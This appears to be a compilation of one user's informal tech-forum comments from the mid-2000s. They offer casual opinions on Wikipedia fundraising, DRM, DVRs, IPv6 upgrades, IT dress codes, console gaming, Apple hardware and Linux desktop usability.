Things needed to access the internet:
A Computer to start... Maybe Some Phone Lines ISP?? whos gonna provide all that? Oh wait, Wiki Will have another Fundraiser. If The poverty level is at its "Mentioned Level", all that wiki stands for, is useless
I use Wiki quite alot... but i never actually paid attention to its "Cause".. All that energy/effort money for "A Poor Kid" , i believe that $750K used to run wiki last year would of been a better "generous offer" - Like BOOKS
The phonograph, or gramophone, was the most common device for playing recorded sound from the 1870s through the 1980s.
Had to look it up, and to my knowledge they didnt have P2P in 1870.
As for paying a fee for a live performance? (some guy already got his cam setup and is streaming it live as free wifi is avail in the area)
Its going to be a catch 22. We all have been through this millions of times.
People CANT resist "free" Its just SO easy HOW CAN IT BE ILLEGAL? how can it HURT anyone?
DRM Restricts use. If you bought it, its yours. I agree. Copy it,ipod it, what ever.
As people mentioned, if you REALLY want to share your music, and make $ of donations (fans) Careful where you sign you name.
Its a Battle of Good VS Evil.
When Captain Picard asks the computer to play some crap in his room who paid for that stream?
All These home DVR thingies still mean nothing to me.
Its just another BOX on top of the Cable Box. Most DVR from Cable Providers suck, but we put up with them. why?
Well, putting aside all the drm stuff, streaming, and sharing of your recorded content, its still just another box on top of all your other stuff. My Current box allows me to record 2 DIGITAL CHANNELS while I play back a 3rd. Untill the CableCard becomes a standard, Ill stick with my leased box. By the time the 5$ something a month catches up to the almost $3000 price tag of a descent setup, CableCards will be standard issue, and then, it would make perfect logic to stop leasing and "beef" things up.
Take into consideration how meny routers,switches,servers exist on the net. The ENTIRE infrastructure has to be wiped. (very expensive)
Its not a "Flip the Switch" scenrio here,
Even my crappy linksys router will need a firmware upgrade (which is already available)
I just cant see a hardcore Aol user flashing firmware, untill he looses his connection because hes still using v4 in 2010 (even tho aol will no longer exist then:) )
So whos gonna pay for all these upgrades?
I must agree with the numerous users here. "General IT" work could be a dirty job. From crawling underneath peoples desk, to fighting asbestos in the ceilings. Within the office, Jeans and a tshirt should be acceptable. (in our office a bio chem suit would be needed for old infrastruture). Our data center is not exactly "Dust Free":)
Couple times a week i would get "A Client is coming, go shave and get changed"
As for the notion that IT professionals wear polyester high waters and pocket protectors is just whack.
Move along... nothing to see but us IT guys in Chem jump suits.
It Doesnt really surprise me...
I recently visited the local walmart, as i walked by the xbox360 display, laughing at the suckers smothering the controler, i actually paused, and became the sucker. (not saying console players are suckers:) ). Medal Of Honor 2 was playing, and i must admit, i was impressed (ofcourse it was on a hd monitor to tease the crowd) Im a PC gamer.. and my attitude towards consoles are (were)... they could never come close to a high end gaming machine... IMHO i believe the pc has met its match with the xbox360...
The Intial release of SWG and its current form "Post CU" its a complete different game. It takes solid brass balls and faith in your clients to revamp the entire game.. "LIVE"
People swore, wrote letters, cancelled their accounts of the CU (Combat Upgrade) - but as we all know it has been for the better.
Sony is taking its path in producing content.... But can we PLEASE fix the existing bugs before rolling out new ones?
I might be wrong, and will stand corrected by replies,
The hadware marked with the "Apple Logo" - Works. No funky driver conflicts, blue screen etc. I'm not a Apple/Mac specilist, but doesnt apple have the final say on software/drivers etc?
Being "Hardware locked" it gurantees the hardware to be "certified" to work? Isn't that a good thing?
Yes, it limits choice but whats different about mac's current platform?
Ok, so now what? What kind of payload would one select?
Being a "Micro"... coverage? - Relay?
What do *I* need my own sat for? (seriously confused) (Not FLAMEBAIT just curious)
Dont we have enough junk floating around in orbit already?
I must agree,
I'm stuck with XP due to office politics, I have dabbled with almost every major distro out there.
If you throw in whats available now, kde,gnome - the limitations are annoying.
Try Cut/Paste between windows/Applications? Its that SIMPLE stuff that people are looking for.
If you have to "Learn" the operating system its not going to work. People dont want to goto command line, they dont want to compile or worry about dependencies, rpms etc etc. Avg home user doesnt care about apt-get,emerge or yum.
I had the pleasure of sitting down at a osx machine... My 70 yr old grandma could click through the OS without asking silly questions.
You have your eye candy and functionality - and if you want your command line, its there.
OSX + intel/AMD = danger to microsoft. As the "Avg home user" will have a "Real" choice. Real, meaning out of the box..... You can jump in and start screaming "KDE/GNOME WORK OUT OF THE BOX!", yea thats great... Take someone off the street, Sit them down behind a OSX / XP / box and let them choose. (Interface not operating system)
Real world problems = we are lazy people. Change is good if someone does it for us. Security patches whats that? - and ofcourse "Why do i need to enter a password to install something??"
So untill people change - Linux will remain a "fad" FOR THE HOME USER (stress HOME USER)
Hmm, I know google got bags of bling just laying around, but even for google, launching their own "Sat" would be pretty expensive and risky, unless ofcourse they piggy back...
When your TV / DVR goes off, google will yell ITS STILL IN BETA!
Slashdot Mirror
FlameBait? GoogleADs are flamebait?? - It will Solve of their problems.

How I would get paid if my music is available every where for free, The Musician also wonders if 1/10 people who bootleg my music will buy it.

+wifi +144kps = you wanna call who? try again, good luck trying to make a call.
they worry about meeting holiday deadlines... but they cant meet lunch dates?

Ill take your 2 cents... and raise you buy 1 cent... USB keyboard and mouse?
Microsoft to Withdraw, Im sure that will hurt Korea really bad, as all the workstation are still using the fckgw windows serial.
I stand corrected. LOL

tailing the log, looks like a dozen or so IP's are attempting the same routine... So "In The Wild" means pretty well active...
